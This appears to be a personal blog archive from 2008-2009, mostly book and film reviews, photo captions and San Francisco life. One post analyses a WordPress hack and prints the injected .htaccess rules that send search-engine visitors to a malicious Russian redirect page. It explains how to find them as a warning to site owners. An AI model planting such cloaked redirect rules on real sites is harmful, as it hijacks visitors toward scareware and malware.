nonsense

hipster ships out

2009-11-11T23:44:00.000-08:00

I know you're feeling it. The term "hipster" is sooooooo tired, the e in hipster can barely lift its eyelid.

Next time you are about to say it, say something else. You'll feel better. Honest. You heard it hear first, unless you heard from me at the 500 club a couple weeks ago, or you've been reading mission mission.

bookstore bug

2009-10-28T12:54:00.001-07:00

I should have recorded what the book was, but this bug (which I think was alive) seemed to be just chilling, watching over the busy Williamsburg bookstore it found itself in.

water surface abstract

2009-10-28T10:55:00.001-07:00

It's funny, sometimes when I take photos I most like to take abstracts. But when I draw, I like to draw from life.

Vanishing Faces

2009-10-07T12:10:00.000-07:00

James Lovelock's book the Vanishing Face of Gaia is not a comforting book to read. I first came across Gaia theory about 20 years ago and it made immediate sense to me -- the earth is a living thing.

The implications of that -- according to Lovelock's book -- are not good for humanity. Through man's actions we have been messing with Gaia's systems and it is about to undergo a change that will not be in the least bit kind to humanity as a whole, moving to a hot state that will be unpleasant for a good deal of humanity.

Lovelock's main message I think is that we ought to be preparing for the impending disaster. The scientific consensus on global heating (as he calls it) is based on flawed models that don't take into account its biological component, and that the world is already midst disproving as being too conservative.

Thus the targets set by world governments, and the movements to meet those targets are badly flawed. He seems to feel the whole green living movement, and focus on renewable energy is a waste of time. His vision though never wholly articulated with any cohesion is that a
much smaller humanity will be living a nuclear powered life, with synthesized food, in the various places around the globe that will be least affected by Gaia's change of state.

Lovelock, likens the current urban environmental movement to a religion, and dangerous (the most dangerous ideology?) because it is now more focused on the health of humans rather than the health of the planet. Windpower and individual solar panels are sops to the weak minded in the service of corporations who are afraid of losing money to cheap nuclear energy.

He spends considerable time laying into windpower, one because it might make landscapes ugly, two because of its large footprint, and three because urban centers need constant power.

Somehow it doesn't add up - if the modern environmental movement were to be carried to its logical conclusion, its members would be self-sufficient, vegetarians not badly placed to survive in a world where self-sufficiency is called for. There are plenty of criticisms that can be fairly leveled at the environmental movement, but it's not clear to me actually what Lovelock's are, or if it is only a portion of it.

The term environmentalist has had a bit of a tarnish of late, and is used by people of all persuasions to attack the particular element of environmentalism they don't like. We could use some more particular terms perhaps.

Founding Folks

2009-09-23T22:34:00.000-07:00

I picked up the latest from David Liss in paperback (he has one newer one out in hardback) called Whiskey Rebels. Liss remains my favorite AgeOfReason Noir writer. Or Econ Noir, except that doesn't convey the historical nature. This novel takes place a decade past the revolutionary war, and one of the main character is a scoundrel, a former spy and accused traitor, who gets a chance to redeem his lost honor. The other character, a woman, makes her way into the wilds of Pennsylvania to make a living with her new husband only to find that there are scoundrels everywhere.

Revolutionary characters come into the story -- Hamilton, Aaron Burr and Washington, as well as forgotten characters, all set in a complex world of finance and a very familiar, fierce and bitter partisan squabble. Liss deflty places his fictional characters in the murky areas of history.

The story captivated me enough, that when I came across a copy of Founding Brothers, I gave it a read. The book is an examination of the relationships of some of our Founding Fathers: Hamilton, Burr, Washington, Jefferson, Adams, and Madison. With ease it took apart my myths of the founding fathers, if only by knowing (as one might expect, if one thought of it) that they were just men, flawed in different ways, who by luck and good timing pulled off this amazing feat, and managed to keep it going often through their common rather than individual effort. Despite intense and often hard feelings, our revolution did not "eat itself" as have others in the peace that followed victory.

The book mostly focuses on what happened after the revolution, the divisions that grew over the Federalists and Republicans, those who wanted more federal power, those who wanted states power, the way that most parties came to terms (aka silence) over the issue of slavery, issues of finance, foreign policy, and issues of populism over elites. Intense hatreds developed, friendships floundered and were restored.

It's a marvelous retelling of our history worth reading for the complexity and ideas that we will still see reflected in the politics of today.

Food mural detail I never noticed before

2009-07-28T08:37:00.001-07:00

Adrian

Books, Movies

2009-03-22T17:13:00.000-07:00

Just finished another Lindsey Davis, Didius Falco mystery -- Last Act in Palmyra -- a pleasing romp through lands east of Judea in the 1st century AD.

Read and now reading aloud to Liz Inkheart, which is fun to read and fun to read aloud.

Sacred Sea, by Peter Thomson, a former audio producer for Living on Earth, Thomson travels around the world to visit Lake Baikal. I enjoyed much of the book immensely, because having passed Lake Baikal on the Trans-Siberean train, I was immensely curious about it, and to this day having sensed I had missed a grand opportunity by not going. The book confirmed it, (although I would have missed other things I am sure). It was also fun to read about such a grand adventure, traveling around the world with your brother traveling only on the surface. But the book bogs down in the middle section, a little too maudlin, and well at the end of the day not very interesting.

Miracle at St. Anna - this movie had a lot of potential but whatever it was was lost in its ultimate inscrutability. For one, early on in the movie, a character (40 years on) cries "I know who the sleeping man is," but I never did find out (or why it was important), and more importantly I'm not quite sure what the Miracle at St Anna ever was. Add on a couple characters who do things out of character, and one ends the movie with a gentle, "WTF?"

Tropic Thunder - like most comedies this day, much of the good stuff is shown in the trailer, but there was still enough to make it enjoyable to sit through -- I especially enjoyed Tom Cruise as the crazy executive producer.

Traitor - an action espionage thriller worth a look. It's plot is not necessarily anything new, but Don Cheadle is great, and it has a bent similar to that of the Kingdom, not letting the world be set in black and white.

Nick and Nora's Infinite Playlist - ditto with Tropic Thunder and trailers, but again there's enough left, plus good acting, and sweet romance to not feel totally robbed.

garage fall

2009-03-12T22:09:00.001-07:00

This photo won me two awards at BAVC the other night. The exhibition was called 5blocks. We were asked to submit photos taken within 5 blocks of their homes, schools and workplaces, to celebrate SF diversity, a city that changes about every 5 blocks.

This photo was runner up in the guest artist choice award, and won the people's choice award to boot! Thanks all for the votes! The photo that won the guest artist choice was another abstract piece, a photo top side dark, bottom side white, with a man walking in the dark space.

The staff choice winner was a photo of the opening of a freeway pedestrian bridge, taken with time lapse at night filled with interesting colors.

It was fun to see the diversity of stuff that people had brought to the event.

not so lovely and cute hacks

2009-01-11T18:06:00.000-08:00

Sites I've been involved with have been hacked several times over the last year. The most recent, I could not find much information on, so I though I would post some info about it. Basically, people who found the site through google were sent through a couple redirects, such that one ends up with something like this:

One's website is suddenly replaced with a big warning with text like "Warning: visiting this site may harm your computer", or "Attention! if your computer is struck by the spyware, you could suffer data loss, unusual PC behaviour, PC freezes and crashes..."

The URLs are things like "best-virus-scan.com" and "bestantivirusproscan.com"
If you come across these sites or messages -- I don't know for sure that they are malicious, but I would assume so. Close your browser.

The thing one might note (if someone for instance says "hey I'm trying to go to your site and see this weird message appear") is that these messages only appear when one goes to your site from google. If one came from another link, or type in the email address, one's site seems fine. And one might think - it's google's or AOL's or Yahoo's or MSN, Altavista, Ask.com or Live.com's problems.

In fact, what's going on is that the hacker found a way to use or overwrite you .htaccess file. This is what it looks like:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC]
RewriteRule .* {scrubbed a little}maseo.ru/h.php [R,L]
# END WordPress

The .htaccess file is called when the server is first pinged by the client -- and what this code does above is to look at the request and to look for the referer, i.e. where the link was clinked. And it only forwards it on to maseo.ru/h.php if it comes from one of those places (google, aol, msn, altavista, ask, yahoo and live).

Since there are probably not a few people who wouldn't think to check the .htaccess file (or wouldn't be sure how), the manager of the site might just think there is some problem with the search engine.

Now of course the question is how did the hacker manage to write this code onto the server. This is where I think Wordpress plays a role. Through what mechanism I'm not sure -- some SQL injection or cross site scripting, Word Press was coopted to write this file.

If you run multiple sites through the same management tool, make sure that they haven't also written an .htaccess file at a level up from the sites (which then all the sites seem to inherit). The hackers went one little step further on this one, and inserted a bunch of blank lines in the file, so that at initial look, the file looked empty. Make sure to scroll down.

Mostly though, make sure to stay on top of your wordpress updates. Assume hackers are always trying to probe these things (this may in fact all be automated). Of course, staying up with the updates is no insurance that all hacks will be caught in time, but it's all you got, and obscurity is no protection (alas). In cases like this it might just make you more vulnerable.

It would be nice if google actually sent some little notice when a site gets co-opted -- but I guess it wouldn't make them any money. I do wonder if there would be a way to make a spider to look for it and send notices myself. Hmmm.

Holiday Reading

2009-01-03T18:27:00.000-08:00

One upside of the nasty illness I had over this vacation is that I got a lot of reading done:

I marched on through Bernard Cornwall's Sharpe's series, and they continue to be thoroughly engaging. Sharpe's Enemy was particularly timely as it took place during the winter time. It has a description of a Christmas dinner that was almost as good as eating -- but that may have just been because I had no appetite.

I also finished Cornwall's grail quest trilogy (the Archer's Tale, Vagabond, and Heretic). The story takes places in the reign of Edward the Third after he invaded France. I hadn't really known much about the English long bow outside of Henry V and the battle of Agincourt. Apparently, the long bow already had been ruling the battle field for some time, and was particular to England because of the peculiarities of culture (wielding the bow being the national sport before soccer came along I guess). History aside, it was a good read all told, the main character Thomas the archer is much like his other main characters (Sharpe and Starbuck) rash, passionate, and soldier's soldiers -- not knowing much outside of how to fight never mind why -- their enemies are often on the same side as not.

I also found a new author, Louis Bayard, with the book The Black Tower, a historical mystery of sorts taking place during France's restoration of the monarchy after the demise of Napolean. The main character becoming involved in the investigation of a murder. What makes the book is the investigator, a man named Vidocq. He's a great character (read the wikipedia article on him), somewhat Holmesian, but more passionate, a former criminal, a lover of women, a master of disguise, and the terror of criminals all through Paris.

Good stuff. I just started another book by Bayard, called Timothy, which is the life and times of Tiny Tim now all grown up.

I did plow through a couple non fiction books as well: Saxon, Viking and Celts by Bryan Sykes. This is an investigation into the DNA of the people of the British Isles, trying to match genetics to what we know or believed we knew of the actual history. The annoying thing about the book (for me) is that it as written as an unveiling of a mystery, rather than "these are my conclusions and this is how we arrived at them". For me, that makes it a little less trustworthy somehow -- since I don't know where it is going to end up, I guess I can't see where and if the author is making leaps.

In any case, the upshot of their findings is that the genetics maps pretty well to history from the 800s on (in terms of where say viking and saxon genes -- which are hard to distinguish -- are likely to be), but there is little evidence for the migrations that we thought made up earlier prehistory. The Celts have been there for thousands of years. What we know of as Celtic culture, was likely a cultural migration.

And speaking of migration, this brings me to my last book, The Gulf Stream: Tiny Plankton, Giant Bluefin, and the Amazing Story of the Powerful River in the Atlantic by Stan Ulanski. I had high hopes for this book but was ultimately left disappointed. I can be quite fond of books that are leap from connection to connection, but reading details on for example sport fishing, the story of edward teach, and the story of the Mayflower seemed either self-indulgent, or filler. I was surprised there was not a more thorough treatment how the biology of the stream -- there was lots of details on the tuna, sports fish, and jelly fish, but there was little in between. Whales weren't talked about at all until the author began talking about whaling. Cod was mentioned only in passing.

The other big missing element is much about the environment, how much the biology might have changed over the years (there's hint when he dissects a fish at one point and finds a bottle cap), and there is not a mention of the controversy over the conveyor and Global warming except in the epilogue.

By the end of it, I felt I would have been better served if the title had been, The Atlantic Gyre: how the Atlantic ocean spins biology and history. Or something like that. It does have great details on ocean dynamics, climate, and the history of humans crossing the Atlantic, but I feel like the gulf stream itself is still merely a river in the ocean, but that I know that it is more.

finger print shell

2008-11-26T20:39:00.001-08:00

I found this shell on a beach on the coast of Ireland. In Portmarnock, while taking "a bracing walk" (the walk was great).

June 15, 1918

2008-11-11T20:17:00.001-08:00

"Well here comes the sad news - we are leaving next week - I think about Thursday or Friday and Yenez, it really makes my heart ache to think of going so far from home. If only I could have to got to see sister once more before I left. I know papa + Cecil will be all right but my sister I hate to leave behind..."

This was part of a packet of letters I found in a flea market. They were written to a woman living in Geyserville. Most were from one serviceman in the "Big Red One" who later went on to marry (and divorce) her (from what I could tell).

Most of the letters were from after the war serving in Germany, most are filled with trivial details, or asking after the woman and her life. A few were tear inducing with what was not said.

I sent most of these to the Division One museum after pondering a while what I might do with them.

This letter above, the one letter I kept, was one of the tear enducing ones, from a different young man (who may have very well got to Europe too late to see fighting).

2008-11-09T22:27:00.000-08:00

The Goblin in the Graveyard was written for the students I volunteer for at George R. Moscone Elementary school in the Mission District of San Francisco, and for their most excellent teach, Ms Patricia Frank. Enjoy!

yes we did

2008-11-05T22:09:00.001-08:00

At the election party at the Rio Casino I was waiting for liz when yet another excited group of people walked by chanting Obama. This man passed me by and I snapped a few photos of him. I think I'll be remembering this night for a long time to come.

Where were you when you heard the news?

Relating

2008-10-28T22:35:00.000-07:00

From the Examiner today, I was amused to read:

Bush listed some of the 26th's president's most famous attributes: He was the first American to win the Nobel Peace Prize; he was a decorated soldier; he read several books a day; and he was committed to physical exercise, which Bush said he could relate to.

I'm glad that Bush had something he could relate to! We're sad that perhaps he did not have more.

spire

2008-10-27T22:16:00.001-07:00

A new Andrew Goldsworthy sculpture sits inside the Presidio's Arguello gate. Sadly the Chronicle, in its large story about the piece failed to mention it is still mostly inaccessible because it is in the midst of a construction zone. Its still pretty cool to see even from 100' away, and I look forward to seeing how the landscape around it evolves.

the Amazing Piano Bike

2008-09-16T21:16:00.001-07:00

One of the reasons I love San Francisco is people like this guy.

waves

2008-09-03T22:54:00.001-07:00

I don't know what it is about
warm warm water and waves
that makes me feel
so so ... happy, maybe
or more satiated perhaps
full full and utterly unconcerned

A Painter of Battles

2008-09-02T22:18:00.000-07:00

I very much enjoyed Arturo Perez-Reverte's A Painter of Battles. It is a slow meditation on the observation of war: a former war photographer turned painter tries to paint the painting to end all paintings. Trying to create the picture that he could never take with his camera. Into the frame steps one of his former photographic subjects, a Croatian whose life is ruined (even further) because of the photo taken of him. Hovering on the edge is a ghost, the painter's lover and companion through 3 years of war.

I enjoyed it for its discussions of war, what it means to be an observer in war, painting, and art history. One reviewer called it "pseudo-intellectual" which I'm not sure quite what that means here, calling out Perez-Reverte for stepping out of bounds of what an author of historical fiction should be in (never mind that he actually was a war correspondent at one point). Fictional-intellectual?

It made me think, therefore I would call it intellectual, but perhaps I too am merely pseudo. In any case, after the book was done, I went back through and looked at all the paintings referenced, and was rewarded for it -- although I now want to see them up close and personal... Nevertheless, I gathered them in one place, and so here's many of the paintings mentioned in the book.

I remembered then, my favorite battle painting, from some book I had as a kid that might have made it into Faulques study guide if he were an American: Howard Pyle's Battle of Bunker Hill (apparently stolen not too long ago from a Delaware museum).

I Touch my iPod Touch

2008-07-16T21:46:00.000-07:00

First of all, I should just say flat out that the iPod Touch (an by extension the iPhone) is an amazing device. The physical interface works exceedingly well, partially as (for the most part) the software is so well designed.

I was a little miffed I had to spend an extra 10 last week to upgrade to the latest software (as it -- amongst other things -- allows me to download more applications that Apple gets a further cut of, it seems a little crappy), but the extra ability to download applications, and control various other things (iTunes libraries on my computer and AppleTV) is pretty great. That and the Star Map application I downloaded which is something what I have always wanted to have in my hand(and I can't wait for a dark starry night).

Mostly, I listen to podcasts, a little bit of music, and I also check my email around my house, and surf here and there. As an ipod without the phone, having to depend on WIFI can be a little bit of a downer at times (I will be getting an iPhone when I can though). But it makes me think I no longer need a laptop and could get a desktop (and not worry so much about the limitations of my hard drive).

Not that it is a perfect device:

The biggest flaw I think is the need to open iTunes when you are synching the device. This would make sense if all you were doing was music related, but as you can do other things like photos, contacts, calendar, applications and more, having to go into iTunes seems distinctly clunky, because there doesn't really seem to be any good reason for it (unless I am missing something -- aside from synching it and being able to look at what is in there, and authorizing it there is no functional reason -- I can't drag things into it).

Having a standalone synch application would do two things:
1) you don't have to wait for a sometimes very slow program to load up (this is particularly true on my wife's laptop)
2) it I think would make it easier to do away with the ludicrous restrictions of only synching up with one itunes library.

Let me dive into #2 a little more. The warning you get says that you can't synch with more than one iTunes library. Since iTunes is starting up when one is synching, one naturally wonders, "does that mean my contacts, calendar, and photos as well."

It's not clear. I can and do synch calendars, contacts, photos and podcasts from one computer and music from another. This seems like something that Apple should accept and find a way to deal with because it is likely that people either have more than one computer themselves, or share their music (there is after all still a limit on devices), or calendar, etc. But all their messaging goes to dissuade you from trying this. I can understand -- if reluctantly -- that an iPod should have music from one iTunes library, but not anything else.

Detaching the synching from the iTunes application would make the source of information that much clearer (I don't see why one could not authorize a device for particular libraries and information, much like you do the remote devices). Why should I not be able to load up my calendar and my wife's?

The odd thing is that when I load in music from one iTunes library it wipes out the podcasts, but then if I synch it up again with the other library, my podcasts come in fine and the music is left alone. Seems like a bug.

That is really the biggest problem with the device I have, the only other annoying things are where some applications -- in particular Mail -- don't change to landscape view when the device is turned. It's all HTML -- so can it be that different from Safari? Given that email still has so much poorly formatted HTML email, being able to change to landscape would be ideal.

I was a little disappointed that Remote only controlled the Apple TV music and not anything else -- I still have to use the crappy little remote to do everything else (type in movie names etc). it is still really cool that I can do that, but my expectations where such that I thought I'd be able to set aside that old remote. Perhaps that is something they are working on?

I touch itouch

2008-07-04T10:58:00.000-07:00

just seeing what it might be like to post from
my new itouch. Its a nice little tool I have to say typing this is pretty good it self corrects a lot of the mistakes you kind of have to just trust. The worst though is typing names and passwords-you have to be more careful. Don't think I'll be ever doing this too much, despite liz's teasing. She did not feel I deeserved it when I had bot immediately sat down and figured out every single feature :)

no country for old men redux (spoilers)

2008-05-31T14:17:00.001-07:00

What's this movie/book mean? What is the point, as my high school teachers might ask. William Butler Yeats starts a poem, "Sailing to Byzantium" with the title of it:

THAT is no country for old men. The young
In one another's arms, birds in the trees
- Those dying generations - at their song,
The salmon-falls, the mackerel-crowded seas,
Fish, flesh, or fowl, commend all summer long
Whatever is begotten, born, and dies.
Caught in that sensual music all neglect
Monuments of unageing intellect.

An aged man is but a paltry thing,
A tattered coat upon a stick, unless...

The poem does seem to be similar in one sense to the book, the viewpoint of its chief narrator, the Sherrif: an old man feeling out of place in the world, unable to make sense of the changes going on in the country, even within his remote part of it: from bizarre killings, the remorselessness of some, and to people who have blue hair.

But then the other large theme in the story is that of chance. Chigurh offers to people the chance to live by the flip of the coin. The 2nd refuses, insisting it is his choice to kill her not the coins, but Chigurh replies, "but it's the same thing that brought me here" (or something very similar).

It was chance that let Moss miss his shot of the deer, chance that brought a bleeding dog across his path, chance that he came across the drug deal, chance that someone lived long enough to ask him for water, which brought Moss back to the scene. Chance that Moss's hunters came across him with the transponder. Chance is the only thing that near does in Chigurh.

I'm not sure quite what to make of either of these themes. The first, the lament of the old against present day evils is a shallow one, me thinks. It crops up a lot in the book, especially when the sheriff is conversing with other sheriffs, as well as in his narratives harking back to the old timers. Despite the fears and the real terrors, there are far darker places and have been far darker times to have lived than the here and now of the United States. Perhaps this lament is merely descriptive -- one story that might back that up is that of the Sheriff's crippled friend, describing how a relative was shot on his porch by Native-Americans.

The theme of chance on the other hand is a dark one to consider. I thought at first the final car crash was an ironic statement given the conversation with Moss's wife. But is it? In the book, Chigurh goes on to another appearance bringing the money back to one of the Players.

So is the view of the author's the view of Chirguh? Our lives are not pre-determined, we do not have freewill, there is only a continuous flipping of coins? If so then Chigurh is the only one fully prepared, the one who leaves nothing to chance, as methodical as the police in taking what information he can use, methodical in executing the whims of the world, ready to take on whatever comes his way.

no country for old men (spoiler alert)

2008-05-20T23:17:00.000-07:00

I just finished the book No Country For Old Men by Cormac McCarthy. Even if I'm a little disappointed by the Coen Brothers doing a book adaptation, it is a perfect book for a movie, with stripped dialog and minimum stream of consciousness narrative -- showing what lies on the surface of the characters rather than their interior thoughts.

I'm in fact having a hard time deciding which is better. The casting seemed perfect although that is always hard to tell in hindsight. The movie's cinematography is more lush than the writing.

The differences between the book and movie are not great. Some things that happen are more clear from the book - in particular the point at which Moss gets killed and why. However, it is more clear in the book how the mexicans find Moss at that point, and it's clearer in the movie how Chigurh ends up wounded.

There are some edits with more significant impact on the finer points of the story arc... Probably the biggest difference is that the Sheriff's dilemma is spelled out when the Sheriff confesses a story of his WWII experience to his wheelchair-bound friend.

Chigurh also goes on at greater length with Wells at gunpoint.

Moss also picks up a hitch-hiking girl on fleeing Mexico. This is translated into the woman at the poolside in the movie. We miss perhaps a slightly wider view of Moss.

All in all, I have say they were decent edits. In some ways, they are both equally opaque. I'm still asking myself what it all means. Perhaps that is a topic for another post.

Cool cool San Francisco

2008-05-09T18:53:00.000-07:00

It's been a cool San Francisco spring, wind heavy with warm days seemingly few and far between. My search for an explanation, even a mention came up with nothing, but then I came across the Pacific Decadal Oscillation (PDO).

Apparently, we are coming into a cool cycle of this oscillation (this is disputed) which was discovered not long ago by scientists (Steve Hare, Nathan Mantua, Yuan Zhang, Robert Francis and Mike Wallace) studying Salmon populations. Swings in Salmon populations are often tied to this oscillation.

If you are saying, "Wait, Salmon populations? Didn't the Salmon population just collapse?" That's what I said when I read more about it. The studies here and here need some serious help from someone whose read Tufte. I think the data shows that in the past some populations of salmon go down when the PDO is in the cool phase. Strangely, I cannot find any mention of it recently, not in connection to our weather. You would have thought someone would have brought it up at all those hearings.

The PDO apparently could lead to more drought in Southern California. It intensifies El Ninas and moderates El Ninos. The Jet stream is steered north by this though, so I'm not sure if it is actually tied to our cool wave. But perhaps it is too. Liz will not be pleased.

Weather sure is a complicated thing.

midnight mass

2008-04-03T22:41:00.001-07:00

A shout out to the bicyclists of New Orleans whose ride I went on Easter Eve - Chris, Austin, and the folks from Bicycle Michael's.

I may have wished for the ride to be longer, and the stop for drinks a little shorter, but it was all good -- an amusing little addendum to my own personal bike ramble of New Orleans.